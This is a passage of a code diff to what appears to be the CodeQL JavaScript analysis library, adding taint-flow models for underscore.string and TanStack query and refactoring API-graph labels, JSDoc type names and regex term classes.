+      - ["@tanstack/vue-query", "Member[useQuery]", "Argument[0].Member[queryFn].ReturnValue.Awaited", "ReturnValue.Member[data]", "value"]
+      - ["@tanstack/vue-query", "Member[useQueries]", "Argument[0].Member[queries].ArrayElement.Member[queryFn].ReturnValue.Awaited", "ReturnValue.ArrayElement.Member[data]", "value"]
+      - ["@tanstack/react-query", "Member[useQueries]", "Argument[0].Member[queries].ArrayElement.Member[queryFn].ReturnValue.Awaited", "ReturnValue.ArrayElement.Member[data]", "value"]
+      - ["@tanstack/react-query", "Member[useQuery]", "Argument[0].Member[queryFn].ReturnValue.Awaited", "ReturnValue.Member[data]", "value"]
diff --git a/javascript/ql/lib/ext/underscore.string.model.yml b/javascript/ql/lib/ext/underscore.string.model.yml
new file mode 100644
index 000000000000..d1330279f74b
--- /dev/null
+++ b/javascript/ql/lib/ext/underscore.string.model.yml
@@ -0,0 +1,35 @@
+extensions:
+  - addsTo:
+      pack: codeql/javascript-all
+      extensible: typeModel
+    data:
+      - ["'underscore.string'.Wrapper", "'underscore.string'", "ReturnValue"]
+      - ["'underscore.string'.Wrapper", "'underscore.string'.Wrapper", "Member[slugify,capitalize,decapitalize,clean,cleanDiacritics,swapCase,escapeHTML,unescapeHTML,wrap,dedent,reverse,pred,succ,titleize,camelize,classify,underscored,dasherize,humanize,trim,ltrim,rtrim,truncate,sprintf,strRight,strRightBack,strLeft,strLeftBack,stripTags,unquote,strip,lstrip,rstrip,camelcase].ReturnValue"]
+      - ["'underscore.string'.Wrapper", "'underscore.string'.Wrapper", "Member[insert,replaceAll,join,splice,prune,pad,lpad,rpad,repeat,surround,quote,q,rjust,ljust].ReturnValue"]
+      - ["'underscore.string'.Wrapper", "'underscore.string'.Wrapper", "Member[toUpperCase,toLowerCase,replace,slice,substring,substr,concat].ReturnValue"]
+      - ["'underscore.string'.Wrapper", "'underscore.string'.Wrapper", "Member[tap].ReturnValue"]
+
+  - addsTo:
+      pack: codeql/javascript-all
+      extensible: summaryModel
+    data:
+      - ["'underscore.string'", "Member[slugify,capitalize,decapitalize,clean,cleanDiacritics,swapCase,escapeHTML,unescapeHTML,wrap,dedent,reverse,pred,succ,titleize,camelize,classify,underscored,dasherize,humanize,trim,ltrim,rtrim,truncate,sprintf,strRight,strRightBack,strLeft,strLeftBack,stripTags,unquote,strip,lstrip,rstrip,camelcase]", "Argument[0]", "ReturnValue", "taint"]
+      - ["'underscore.string'", "Member[chop,chars,words,lines]", "Argument[0]", "ReturnValue.ArrayElement", "taint"]
+      - ["'underscore.string'", "Member[toSentence,toSentenceSerial]", "Argument[0].ArrayElement", "ReturnValue", "taint"]
+      - ["'underscore.string'", "Member[insert,replaceAll,splice,prune,pad,lpad,rpad,repeat,rjust,ljust]", "Argument[0,2]", "ReturnValue", "taint"]
+      - ["'underscore.string'", "Member[splice]", "Argument[0,3]", "ReturnValue", "taint"]
+      - ["'underscore.string'", "Member[join]", "Argument[0..]", "ReturnValue", "taint"]
+      - ["'underscore.string'", "Member[surround,quote,q]", "Argument[0,1]", "ReturnValue", "taint"]
+      - ["'underscore.string'", "", "Argument[0]", "ReturnValue", "taint"]
+      - ["'underscore.string'.Wrapper", "Member[slugify,capitalize,decapitalize,clean,cleanDiacritics,swapCase,escapeHTML,unescapeHTML,wrap,dedent,reverse,pred,succ,titleize,camelize,classify,underscored,dasherize,humanize,trim,ltrim,rtrim,truncate,sprintf,strRight,strRightBack,strLeft,strLeftBack,stripTags,unquote,value,strip,lstrip,rstrip,camelcase]", "Argument[this]", "ReturnValue", "taint"]
+      - ["'underscore.string'.Wrapper", "Member[insert,replaceAll,join,splice,prune,pad,lpad,rpad,repeat,surround,quote,q,rjust,ljust]", "Argument[this]", "ReturnValue", "taint"]
+      - ["'underscore.string'.Wrapper", "Member[insert,replaceAll,prune,pad,lpad,rpad,repeat,rjust,ljust]", "Argument[1]", "ReturnValue", "taint"]
+      - ["'underscore.string'.Wrapper", "Member[surround,quote,q]", "Argument[0]", "ReturnValue", "taint"]
+      - ["'underscore.string'.Wrapper", "Member[splice]", "Argument[2]", "ReturnValue", "taint"]
+      - ["'underscore.string'.Wrapper", "Member[join,concat]", "Argument[0..]", "ReturnValue", "taint"]
+      - ["'underscore.string'.Wrapper", "Member[toUpperCase,toLowerCase,replace,slice,substring,substr,split]", "Argument[this]", "ReturnValue", "taint"]
+      - ["'underscore.string'.Wrapper", "Member[tap]", "Argument[this]", "ReturnValue", "taint"]
+      - ["'underscore.string'.Wrapper", "Member[tap]", "Argument[0].ReturnValue", "ReturnValue", "taint"]
+      - ["'underscore.string'.Wrapper", "Member[tap]", "Argument[this]", "Argument[0].Parameter[1]", "taint"]
+      - ["'underscore.string'", "Member[map]", "Argument[0]", "Argument[1].Parameter[0]", "taint"]
+      - ["'underscore.string'", "Member[map]", "Argument[1].ReturnValue", "ReturnValue", "taint"]
diff --git a/javascript/ql/lib/javascript.qll b/javascript/ql/lib/javascript.qll
index b3bf7399a621..cc4d15158b90 100644
--- a/javascript/ql/lib/javascript.qll
+++ b/javascript/ql/lib/javascript.qll
@@ -139,8 +139,8 @@ import semmle.javascript.frameworks.Webix
 import semmle.javascript.frameworks.WebSocket
 import semmle.javascript.frameworks.XmlParsers
 import semmle.javascript.frameworks.xUnit
-import semmle.javascript.frameworks.Tanstack
 import semmle.javascript.linters.ESLint
 import semmle.javascript.linters.JSLint
 import semmle.javascript.linters.Linting
 import semmle.javascript.security.dataflow.RemoteFlowSources
+import semmle.javascript.frameworks.UnderscoreDotString
diff --git a/javascript/ql/lib/qlpack.yml b/javascript/ql/lib/qlpack.yml
index 28a02249cfd8..9a38483496e4 100644
--- a/javascript/ql/lib/qlpack.yml
+++ b/javascript/ql/lib/qlpack.yml
@@ -1,5 +1,5 @@
 name: codeql/javascript-all
-version: 2.5.1
+version: 2.6.0
 groups: javascript
 dbscheme: semmlecode.javascript.dbscheme
 extractor: javascript
diff --git a/javascript/ql/lib/semmle/javascript/ApiGraphs.qll b/javascript/ql/lib/semmle/javascript/ApiGraphs.qll
index 9e866424c619..4ef187de4d89 100644
--- a/javascript/ql/lib/semmle/javascript/ApiGraphs.qll
+++ b/javascript/ql/lib/semmle/javascript/ApiGraphs.qll
@@ -8,6 +8,10 @@
 import javascript
 private import semmle.javascript.dataflow.internal.FlowSteps as FlowSteps
 private import semmle.javascript.dataflow.internal.PreCallGraphStep
+private import semmle.javascript.dataflow.internal.StepSummary
+private import semmle.javascript.dataflow.internal.sharedlib.SummaryTypeTracker as SummaryTypeTracker
+private import semmle.javascript.dataflow.internal.Contents::Private as ContentPrivate
+private import semmle.javascript.DynamicPropertyAccess
 private import internal.CachedStages
 
 /**
@@ -220,15 +224,53 @@ module API {
     }
 
     /**
-     * Gets a node representing a member of this API component where the name of the member is
-     * not known statically.
+     * DEPRECATED. Use either `getArrayElement()` or `getAMember()` instead.
      */
+    deprecated Node getUnknownMember() { result = this.getArrayElement() }
+
+    /**
+     * Gets an array element of unknown index.
+     */
+    cached
+    Node getUnknownArrayElement() {
+      Stages::ApiStage::ref() and
+      result = this.getASuccessor(Label::content(ContentPrivate::MkArrayElementUnknown()))
+    }
+
     cached
-    Node getUnknownMember() {
+    private Node getContentRaw(DataFlow::Content content) {
       Stages::ApiStage::ref() and
-      result = this.getASuccessor(Label::unknownMember())
+      result = this.getASuccessor(Label::content(content))
     }
 
+    /**
+     * Gets a representative for the `content` of this value.
+     *
+     * When possible, it is preferrable to use one of the specialized variants of this predicate, such as `getMember`.
+     */
+    pragma[inline]
+    Node getContent(DataFlow::Content content) {
+      result = this.getContentRaw(content)
+      or
+      result = this.getMember(content.asPropertyName())
+    }
+
+    /**
+     * Gets a representative for the `contents` of this value.
+     */
+    bindingset[contents]
+    pragma[inline_late]
+    private Node getContents(DataFlow::ContentSet contents) {
+      // We always use getAStoreContent when generating content edges, and we always use getAReadContent when querying the graph.
+      result = this.getContent(contents.getAReadContent())
+    }
+
+    /**
+     * Gets a node representing an arbitrary array element in the array represented by this node.
+     */
+    cached
+    Node getArrayElement() { result = this.getContents(DataFlow::ContentSet::arrayElement()) }
+
     /**
      * Gets a node representing a member of this API component where the name of the member may
      * or may not be known statically.
@@ -238,7 +280,7 @@ module API {
       Stages::ApiStage::ref() and
       result = this.getMember(_)
       or
-      result = this.getUnknownMember()
+      result = this.getUnknownArrayElement()
     }
 
     /**
@@ -790,6 +832,11 @@ module API {
             not DataFlow::PseudoProperties::isPseudoProperty(prop)
           )
           or
+          exists(DataFlow::ContentSet contents |
+            SummaryTypeTracker::basicStoreStep(rhs, pred.getALocalUse(), contents) and
+            lbl = Label::content(contents.getAStoreContent())
+          )
+          or
           exists(DataFlow::FunctionNode fn |
             fn = pred and
             lbl = Label::return()
@@ -982,6 +1029,11 @@ module API {
             // avoid generating member edges like "$arrayElement$"
             not DataFlow::PseudoProperties::isPseudoProperty(prop)
           )
+          or
+          exists(DataFlow::ContentSet contents |
+            SummaryTypeTracker::basicLoadStep(pred.getALocalUse(), ref, contents) and
+            lbl = Label::content(contents.getAStoreContent())
+          )
         )
         or
         exists(DataFlow::Node def, DataFlow::FunctionNode fn |
@@ -1199,8 +1251,6 @@ module API {
       t = useStep(nd, promisified, boundArgs, prop, result)
     }
 
-    private import semmle.javascript.dataflow.internal.StepSummary
-
     /**
      * Holds if `nd`, which is a use of an API-graph node, flows in zero or more potentially
      * inter-procedural steps to some intermediate node, and then from that intermediate node to
@@ -1458,8 +1508,21 @@ module API {
     bindingset[result]
     LabelMember member(string m) { result.getProperty() = m }
 
-    /** Gets the `member` edge label for the unknown member. */
-    LabelUnknownMember unknownMember() { any() }
+    /** Gets the `content` edge label for content `c`. */
+    LabelContent content(ContentPrivate::Content c) { result.getContent() = c }
+
+    /**
+     * Gets the edge label for an unknown member.
+     *
+     * Currently this is represented the same way as an unknown array element, but this may
+     * change in the future.
+     */
+    ApiLabel unknownMember() { result = arrayElement() }
+
+    /**
+     * Gets the edge label for an unknown array element.
+     */
+    LabelContent arrayElement() { result.getContent().isUnknownArrayElement() }
 
     /**
      * Gets a property name referred to by the given dynamic property access,
@@ -1482,6 +1545,11 @@ module API {
       result = unique(string s | s = getAnIndirectPropName(ref))
     }
 
+    pragma[nomagic]
+    private predicate isEnumeratedPropName(DataFlow::Node node) {
+      node.getAPredecessor*() instanceof EnumeratedPropName
+    }
+
     /** Gets the `member` edge label for the given property reference. */
     ApiLabel memberFromRef(DataFlow::PropRef pr) {
       exists(string pn | pn = pr.getPropertyName() or pn = getIndirectPropName(pr) |
@@ -1493,7 +1561,9 @@ module API {
       or
       not exists(pr.getPropertyName()) and
       not exists(getIndirectPropName(pr)) and
-      result = unknownMember()
+      // Avoid assignments in an extend-like pattern
+      not isEnumeratedPropName(pr.getPropertyNameExpr().flow()) and
+      result = arrayElement()
     }
 
     /** Gets the `instance` edge label. */
@@ -1516,10 +1586,10 @@ module API {
     LabelForwardingFunction forwardingFunction() { any() }
 
     /** Gets the `promised` edge label connecting a promise to its contained value. */
-    LabelPromised promised() { any() }
+    LabelContent promised() { result.getContent() = ContentPrivate::MkPromiseValue() }
 
     /** Gets the `promisedError` edge label connecting a promise to its rejected value. */
-    LabelPromisedError promisedError() { any() }
+    LabelContent promisedError() { result.getContent() = ContentPrivate::MkPromiseError() }
 
     /** Gets the label for an edge leading from a value `D` to any class that has `D` as a decorator. */
     LabelDecoratedClass decoratedClass() { any() }
@@ -1542,18 +1612,12 @@ module API {
           exists(Impl::MkModuleImport(mod))
         } or
         MkLabelInstance() or
-        MkLabelMember(string prop) {
-          exports(_, prop, _) or
-          exists(any(DataFlow::ClassNode c).getInstanceMethod(prop)) or
-          prop = "exports" or
-          prop = any(CanonicalName c).getName() or
-          prop = any(DataFlow::PropRef p).getPropertyName() or
-          exists(Impl::MkTypeUse(_, prop)) or
-          exists(any(Module m).getAnExportedValue(prop)) or
-          PreCallGraphStep::loadStep(_, _, prop) or
-          PreCallGraphStep::storeStep(_, _, prop)
+        MkLabelContent(DataFlow::Content content) or
+        MkLabelMember(string name) {
+          name instanceof PropertyName
+          or
+          exists(Impl::MkTypeUse(_, name))
         } or
-        MkLabelUnknownMember() or
         MkLabelParameter(int i) {
           i =
             [0 .. max(int args |
@@ -1564,8 +1628,6 @@ module API {
         } or
         MkLabelReceiver() or
         MkLabelReturn() or
-        MkLabelPromised() or
-        MkLabelPromisedError() or
         MkLabelDecoratedClass() or
         MkLabelDecoratedMember() or
         MkLabelDecoratedParameter() or
@@ -1585,13 +1647,13 @@ module API {
       }
 
       /** A label that gets a promised value. */
-      class LabelPromised extends ApiLabel, MkLabelPromised {
-        override string toString() { result = "getPromised()" }
+      deprecated class LabelPromised extends ApiLabel {
+        LabelPromised() { this = MkLabelContent(ContentPrivate::MkPromiseValue()) }
       }
 
       /** A label that gets a rejected promise. */
-      class LabelPromisedError extends ApiLabel, MkLabelPromisedError {
-        override string toString() { result = "getPromisedError()" }
+      deprecated class LabelPromisedError extends ApiLabel {
+        LabelPromisedError() { this = MkLabelContent(ContentPrivate::MkPromiseError()) }
       }
 
       /** A label that gets the return value of a function. */
@@ -1617,9 +1679,39 @@ module API {
         override string toString() { result = "getInstance()" }
       }
 
+      /** A label for a content. */
+      class LabelContent extends ApiLabel, MkLabelContent {
+        private DataFlow::Content content;
+
+        LabelContent() {
+          this = MkLabelContent(content) and
+          // Property names are represented by LabelMember to ensure additional property
+          // names from PreCallGraph step are included, as well as those from MkTypeUse.
+          not content instanceof ContentPrivate::MkPropertyContent
+        }
+
+        /** Gets the content associated with this label. */
+        DataFlow::Content getContent() { result = content }
+
+        private string specialisedToString() {
+          content instanceof ContentPrivate::MkPromiseValue and result = "getPromised()"
+          or
+          content instanceof ContentPrivate::MkPromiseError and result = "getPromisedError()"
+          or
+          content instanceof ContentPrivate::MkArrayElementUnknown and result = "getArrayElement()"
+        }
+
+        override string toString() {
+          result = this.specialisedToString()
+          or
+          not exists(this.specialisedToString()) and
+          result = "getContent(" + content + ")"
+        }
+      }
+
       /** A label for the member named `prop`. */
       class LabelMember extends ApiLabel, MkLabelMember {
-        string prop;
+        private string prop;
 
         LabelMember() { this = MkLabelMember(prop) }
 
@@ -1630,10 +1722,8 @@ module API {
       }
 
       /** A label for a member with an unknown name. */
-      class LabelUnknownMember extends ApiLabel, MkLabelUnknownMember {
-        LabelUnknownMember() { this = MkLabelUnknownMember() }
-
-        override string toString() { result = "getUnknownMember()" }
+      deprecated class LabelUnknownMember extends LabelContent {
+        LabelUnknownMember() { this.getContent().isUnknownArrayElement() }
       }
 
       /** A label for parameter `i`. */
diff --git a/javascript/ql/lib/semmle/javascript/DOM.qll b/javascript/ql/lib/semmle/javascript/DOM.qll
index 6c6d70fede87..50a529b4a53a 100644
--- a/javascript/ql/lib/semmle/javascript/DOM.qll
+++ b/javascript/ql/lib/semmle/javascript/DOM.qll
@@ -296,7 +296,7 @@ module DOM {
               .getType()
               .getAnUnderlyingType()
               .(JSDocNamedTypeExpr)
-              .getName())
+              .getRawName())
       )
     }
 
diff --git a/javascript/ql/lib/semmle/javascript/Externs.qll b/javascript/ql/lib/semmle/javascript/Externs.qll
index 9787de6f464b..a2a2533d8494 100644
--- a/javascript/ql/lib/semmle/javascript/Externs.qll
+++ b/javascript/ql/lib/semmle/javascript/Externs.qll
@@ -400,8 +400,8 @@ class ConstructorTag extends JSDocTag {
 abstract private class NamedTypeReferent extends JSDocTag {
   /** Gets the name of the type to which this tag refers. */
   string getTarget() {
-    result = this.getType().(JSDocNamedTypeExpr).getName() or
-    result = this.getType().(JSDocAppliedTypeExpr).getHead().(JSDocNamedTypeExpr).getName()
+    result = this.getType().(JSDocNamedTypeExpr).getRawName() or
+    result = this.getType().(JSDocAppliedTypeExpr).getHead().(JSDocNamedTypeExpr).getRawName()
   }
 
   /**
@@ -423,7 +423,7 @@ abstract private class NamedTypeReferent extends JSDocTag {
  * Gets the source declaration of the type to which `tp` refers, if any.
  */
 private ExternalType sourceDecl(JSDocTypeExpr tp) {
-  result.getQualifiedName() = tp.(JSDocNamedTypeExpr).getName() or
+  result.getQualifiedName() = tp.(JSDocNamedTypeExpr).getRawName() or
   result = sourceDecl(tp.(JSDocAppliedTypeExpr).getHead()) or
   result = sourceDecl(tp.(JSDocNullableTypeExpr).getTypeExpr()) or
   result = sourceDecl(tp.(JSDocNonNullableTypeExpr).getTypeExpr()) or
diff --git a/javascript/ql/lib/semmle/javascript/JSDoc.qll b/javascript/ql/lib/semmle/javascript/JSDoc.qll
index 6e1ea5caecb6..10970a2e8b04 100644
--- a/javascript/ql/lib/semmle/javascript/JSDoc.qll
+++ b/javascript/ql/lib/semmle/javascript/JSDoc.qll
@@ -261,17 +261,14 @@ class JSDocVoidTypeExpr extends @jsdoc_void_type_expr, JSDocTypeExpr {
 }
 
 /**
- * A type expression referring to a named type.
- *
- * Example:
+ * An identifier in a JSDoc type expression, such as `Object` or `string`.
  *
- * ```
- * string
- * Object
- * ```
+ * Note that qualified names consist of multiple identifier nodes.
  */
-class JSDocNamedTypeExpr extends @jsdoc_named_type_expr, JSDocTypeExpr {
-  /** Gets the name of the type the expression refers to. */
+class JSDocIdentifierTypeExpr extends @jsdoc_identifier_type_expr, JSDocTypeExpr {
+  /**
+   * Gets the name of the identifier.
+   */
   string getName() { result = this.toString() }
 
   override predicate isString() { this.getName() = "string" }
@@ -300,6 +297,71 @@ class JSDocNamedTypeExpr extends @jsdoc_named_type_expr, JSDocTypeExpr {
   }
 
   override predicate isRawFunction() { this.getName() = "Function" }
+}
+
+/**
+ * An unqualified identifier in a JSDoc type expression.
+ *
+ * Example:
+ *
+ * ```
+ * string
+ * Object
+ * ```
+ */
+class JSDocLocalTypeAccess extends JSDocIdentifierTypeExpr {
+  JSDocLocalTypeAccess() { not this = any(JSDocQualifiedTypeAccess a).getNameNode() }
+}
+
+/**
+ * A qualified type name in a JSDoc type expression, such as `X.Y`.
+ */
+class JSDocQualifiedTypeAccess extends @jsdoc_qualified_type_expr, JSDocTypeExpr {
+  /**
+   * Gets the base of this access, such as the `X` in `X.Y`.
+   */
+  JSDocTypeExpr getBase() { result = this.getChild(0) }
+
+  /**
+   * Gets the node naming the member being accessed, such as the `Y` node in `X.Y`.
+   */
+  JSDocIdentifierTypeExpr getNameNode() { result = this.getChild(1) }
+
+  /**
+   * Gets the name being accessed, such as `Y` in `X.Y`.
+   */
+  string getName() { result = this.getNameNode().getName() }
+}
+
+/**
+ * A type expression referring to a named type.
+ *
+ * Example:
+ *
+ * ```
+ * string
+ * Object
+ * Namespace.Type
+ * ```
+ */
+class JSDocNamedTypeExpr extends JSDocTypeExpr {
+  JSDocNamedTypeExpr() {
+    this instanceof JSDocLocalTypeAccess
+    or
+    this instanceof JSDocQualifiedTypeAccess
+  }
+
+  /**
+   * Gets the name directly as it appears in this type, including any qualifiers.
+   *
+   * For example, for `X.Y` this gets the string `"X.Y"`.
+   */
+  string getRawName() { result = this.toString() }
+
+  /**
+   * DEPRECATED. Use `getRawName()` instead.
+   */
+  deprecated string getName() { result = this.toString() }
 
   /**
    * Holds if this name consists of the unqualified name `prefix`
@@ -310,8 +372,9 @@ class JSDocNamedTypeExpr extends @jsdoc_named_type_expr, JSDocTypeExpr {
    * - `Baz` has prefix `Baz` and an empty suffix.
    */
   predicate hasNameParts(string prefix, string suffix) {
+    not this = any(JSDocQualifiedTypeAccess a).getBase() and // restrict size of predicate
     exists(string regex, string name | regex = "([^.]+)(.*)" |
-      name = this.getName() and
+      name = this.getRawName() and
       prefix = name.regexpCapture(regex, 1) and
       suffix = name.regexpCapture(regex, 2)
     )
@@ -340,7 +403,7 @@ class JSDocNamedTypeExpr extends @jsdoc_named_type_expr, JSDocTypeExpr {
     globalName = this.resolvedName()
     or
     not exists(this.resolvedName()) and
-    globalName = this.getName()
+    globalName = this.getRawName()
   }
 
   override DataFlow::ClassNode getClass() {
diff --git a/javascript/ql/lib/semmle/javascript/MembershipCandidates.qll b/javascript/ql/lib/semmle/javascript/MembershipCandidates.qll
index da9e90744ef0..b294cb7ca3ab 100644
--- a/javascript/ql/lib/semmle/javascript/MembershipCandidates.qll
+++ b/javascript/ql/lib/semmle/javascript/MembershipCandidates.qll
@@ -140,22 +140,17 @@ module MembershipCandidate {
     EnumerationRegExp() {
       this.isRootTerm() and
       RegExp::isFullyAnchoredTerm(this) and
-      exists(RegExpTerm child | this.getAChild*() = child |
-        child instanceof RegExpSequence or
-        child instanceof RegExpCaret or
-        child instanceof RegExpDollar or
-        child instanceof RegExpConstant or
-        child instanceof RegExpAlt or
-        child instanceof RegExpGroup
-      ) and
-      // exclude "length matches" that match every string
-      not this.getAChild*() instanceof RegExpDot
+      not exists(RegExpTerm child | child.getRootTerm() = this |
+        child instanceof RegExpDot or
+        child instanceof RegExpCharacterClass or
+        child instanceof RegExpUnicodePropertyEscape
+      )
     }
 
     /**
      * Gets a string matched by this regular expression.
      */
-    string getAMember() { result = this.getAChild*().getAMatchedString() }
+    string getAMember() { result = any(RegExpTerm t | t.getRootTerm() = this).getAMatchedString() }
   }
 
   /**
diff --git a/javascript/ql/lib/semmle/javascript/Promises.qll b/javascript/ql/lib/semmle/javascript/Promises.qll
index c254128f87b5..51411463efc6 100644
--- a/javascript/ql/lib/semmle/javascript/Promises.qll
+++ b/javascript/ql/lib/semmle/javascript/Promises.qll
@@ -4,6 +4,7 @@
 
 import javascript
 private import dataflow.internal.StepSummary
+private import semmle.javascript.dataflow.internal.FlowSteps
 
 /**
  * A call to the `Promise` constructor, such as `new Promise((resolve, reject) => { ... })`.
@@ -397,6 +398,17 @@ module PromiseFlow {
       value = call.getCallback(0).getExceptionalReturn() and
       obj = call
     )
+    or
+    exists(DataFlow::FunctionNode f | f.getFunction().isAsync() |
+      // ordinary return
+      prop = valueProp() and
+      value = f.getAReturn() and
+      obj = f.getReturnNode()
+      or
+      // exceptional return
+      prop = errorProp() and
+      localExceptionStepWithAsyncFlag(value, obj, true)
+    )
   }
 
   /**
@@ -525,30 +537,6 @@ private class PromiseTaintStep extends TaintTracking::LegacyTaintStep {
  * Defines flow steps for return on async functions.
  */
 private module AsyncReturnSteps {
-  private predicate valueProp = Promises::valueProp/0;
-
-  private predicate errorProp = Promises::errorProp/0;
-
-  private import semmle.javascript.dataflow.internal.FlowSteps
-
-  /**
-   * A data-flow step for ordinary and exceptional returns from async functions.
-   */
-  private class AsyncReturn extends LegacyPreCallGraphStep {
-    override predicate storeStep(DataFlow::Node pred, DataFlow::SourceNode succ, string prop) {
-      exists(DataFlow::FunctionNode f | f.getFunction().isAsync() |
-        // ordinary return
-        prop = valueProp() and
-        pred = f.getAReturn() and
-        succ = f.getReturnNode()
-        or
-        // exceptional return
-        prop = errorProp() and
-        localExceptionStepWithAsyncFlag(pred, succ, true)
-      )
-    }
-  }
-
   /**
    * A data-flow step for ordinary return from an async function in a taint configuration.
    */
diff --git a/javascript/ql/lib/semmle/javascript/Regexp.qll b/javascript/ql/lib/semmle/javascript/Regexp.qll
index acfc888756e8..642a3d196fb7 100644
--- a/javascript/ql/lib/semmle/javascript/Regexp.qll
+++ b/javascript/ql/lib/semmle/javascript/Regexp.qll
@@ -301,6 +301,51 @@ class RegExpAlt extends RegExpTerm, @regexp_alt {
   override string getAPrimaryQlClass() { result = "RegExpAlt" }
 }
 
+/**
+ * An intersection term, that is, a term of the form `[[a]&&[ab]]`.
+ *
+ * Example:
+ *
+ * ```
+ * /[[abc]&&[bcd]]/v - which matches 'b' and 'c' only.
+ * ```
+ */
+class RegExpIntersection extends RegExpTerm, @regexp_intersection {
+  /** Gets an intersected term of this term. */
+  RegExpTerm getAnElement() { result = this.getAChild() }
+
+  /** Gets the number of intersected terms of this term. */
+  int getNumIntersectedTerm() { result = this.getNumChild() }
+
+  override predicate isNullable() { this.getAnElement().isNullable() }
+
+  override string getAPrimaryQlClass() { result = "RegExpIntersection" }
+}
+
+/**
+ * A subtraction term, that is, a term of the form `[[a]--[ab]]`.
+ *
+ * Example:
+ *
+ * ```
+ * /[[abc]--[bc]]/v - which matches 'a' only.
+ * ```
+ */
+class RegExpSubtraction extends RegExpTerm, @regexp_subtraction {
+  /** Gets the minuend (left operand) of this subtraction. */
+  RegExpTerm getFirstTerm() { result = this.getChild(0) }
+
+  /** Gets the number of subtractions terms of this term. */
+  int getNumSubtractedTerm() { result = this.getNumChild() - 1 }
+
+  /** Gets a subtrahend (right operand) of this subtraction. */
+  RegExpTerm getASubtractedTerm() { exists(int i | i > 0 and result = this.getChild(i)) }
+
+  override predicate isNullable() { none() }
+
+  override string getAPrimaryQlClass() { result = "RegExpSubtraction" }
+}
+
 /**
  * A sequence term.
  *
@@ -1142,6 +1187,28 @@ private class StringConcatRegExpPatternSource extends RegExpPatternSource {
   override RegExpTerm getRegExpTerm() { result = this.asExpr().(AddExpr).asRegExp() }
 }
 
+/**
+ * A quoted string escape in a regular expression, using the `\q` syntax.
+ * The only operation supported inside a quoted string is alternation, using `|`.
+ *
+ * Example:
+ *
+ * ```
+ * \q{foo}
+ * \q{a|b|c}
+ * ```
+ */
+class RegExpQuotedString extends RegExpTerm, @regexp_quoted_string {
+  /** Gets the term representing the contents of this quoted string. */
+  RegExpTerm getTerm() { result = this.getAChild() }
+
+  override predicate isNullable() { none() }
+
+  override string getAMatchedString() { result = this.getTerm().getAMatchedString() }
+
+  override string getAPrimaryQlClass() { result = "RegExpQuotedString" }
+}
+
 module RegExp {
   /** Gets the string `"?"` used to represent a regular expression whose flags are unknown. */
   string unknownFlag() { result = "?" }
diff --git a/javascript/ql/lib/semmle/javascript/Routing.qll b/javascript/ql/lib/semmle/javascript/Routing.qll
index 93e5cd243285..29700a255d61 100644
--- a/javascript/ql/lib/semmle/javascript/Routing.qll
+++ b/javascript/ql/lib/semmle/javascript/Routing.qll
@@ -188,27 +188,35 @@ module Routing {
       )
     }
 
-    /**
-     * Gets the path prefix needed to reach this node from the given ancestor, that is, the concatenation
-     * of all relative paths between this node and the ancestor.
-     *
-     * To restrict the size of the predicate, this is only available for the ancestors that are "fork" nodes,
-     * that is, a node that has siblings (i.e. multiple children).
-     */
-    private string getPathFromFork(Node fork) {
+    private string getPathFromForkInternal(Node fork) {
       this.isFork() and
       this = fork and
       result = ""
       or
       exists(Node parent | parent = this.getParent() |
         not exists(parent.getRelativePath()) and
-        result = parent.getPathFromFork(fork)
+        result = parent.getPathFromForkInternal(fork)
         or
-        result = parent.getPathFromFork(fork) + parent.getRelativePath() and
+        result = parent.getPathFromForkInternal(fork) + parent.getRelativePath() and
         result.length() < 100
       )
     }
 
+    /**
+     * Gets the path prefix needed to reach this node from the given ancestor, that is, the concatenation
+     * of all relative paths between this node and the ancestor.
+     *
+     * To restrict the size of the predicate, this is only available for the ancestors that are "fork" nodes,
+     * that is, a node that has siblings (i.e. multiple children).
+     * And only a single (shortest) path is returned, even if there are multiple paths
+     * leading to this node.
+     */
+    pragma[nomagic]
+    private string getPathFromFork(Node fork) {
+      result =
+        min(string res | res = this.getPathFromForkInternal(fork) | res order by res.length(), res)
+    }
+
     /**
      * Gets an HTTP method required to reach this node from the given ancestor, or `*` if any method
      * can be used.
diff --git a/javascript/ql/lib/semmle/javascript/TypeScript.qll b/javascript/ql/lib/semmle/javascript/TypeScript.qll
index a234fec7c2de..d8b6b63a366f 100644
--- a/javascript/ql/lib/semmle/javascript/TypeScript.qll
+++ b/javascript/ql/lib/semmle/javascript/TypeScript.qll
@@ -773,6 +773,17 @@ class LocalTypeAccess extends @local_type_access, TypeAccess, Identifier, Lexica
    */
   LocalTypeName getLocalTypeName() { result.getAnAccess() = this }
 
+  private TypeAliasDeclaration getAlias() {
+    this.getLocalTypeName().getADeclaration() = result.getIdentifier()
+  }
+
+  override TypeExpr getAnUnderlyingType() {
+    result = this.getAlias().getDefinition().getAnUnderlyingType()
+    or
+    not exists(this.getAlias()) and
+    result = this
+  }
+
   override string getAPrimaryQlClass() { result = "LocalTypeAccess" }
 }
 
diff --git a/javascript/ql/lib/semmle/javascript/dataflow/TaintTracking.qll b/javascript/ql/lib/semmle/javascript/dataflow/TaintTracking.qll
index 532fd95be472..e8d9cef9f575 100644
--- a/javascript/ql/lib/semmle/javascript/dataflow/TaintTracking.qll
+++ b/javascript/ql/lib/semmle/javascript/dataflow/TaintTracking.qll
@@ -494,7 +494,8 @@ module TaintTracking {
           succ = c and
           c =
             DataFlow::globalVarRef([
-                "encodeURI", "decodeURI", "encodeURIComponent", "decodeURIComponent"
+                "encodeURI", "decodeURI", "encodeURIComponent", "decodeURIComponent", "unescape",
+                "escape"
               ]).getACall() and
           pred = c.getArgument(0)
         )
diff --git a/javascript/ql/lib/semmle/javascript/dataflow/internal/Contents.qll b/javascript/ql/lib/semmle/javascript/dataflow/internal/Contents.qll
index 23b2311594e4..5cf5bf1e48eb 100644
--- a/javascript/ql/lib/semmle/javascript/dataflow/internal/Contents.qll
+++ b/javascript/ql/lib/semmle/javascript/dataflow/internal/Contents.qll
@@ -57,6 +57,16 @@ module Private {
       this = getAPreciseArrayIndex().toString()
       or
       isAccessPathTokenPresent("Member", this)
+      or
+      this = any(ImportSpecifier spec).getImportedName()
+      or
+      this = any(ExportSpecifier n).getExportedName()
+      or
+      this = any(ExportNamedDeclaration d).getAnExportedDecl().getName()
+      or
+      this = any(MemberDefinition m).getName()
+      or
+      this = ["exports", "default"]
     }
 
     /** Gets the array index corresponding to this property name. */
diff --git a/javascript/ql/lib/semmle/javascript/dataflow/internal/DataFlowPrivate.qll b/javascript/ql/lib/semmle/javascript/dataflow/internal/DataFlowPrivate.qll
index 974947e22852..29128bb72fa6 100644
--- a/javascript/ql/lib/semmle/javascript/dataflow/internal/DataFlowPrivate.qll
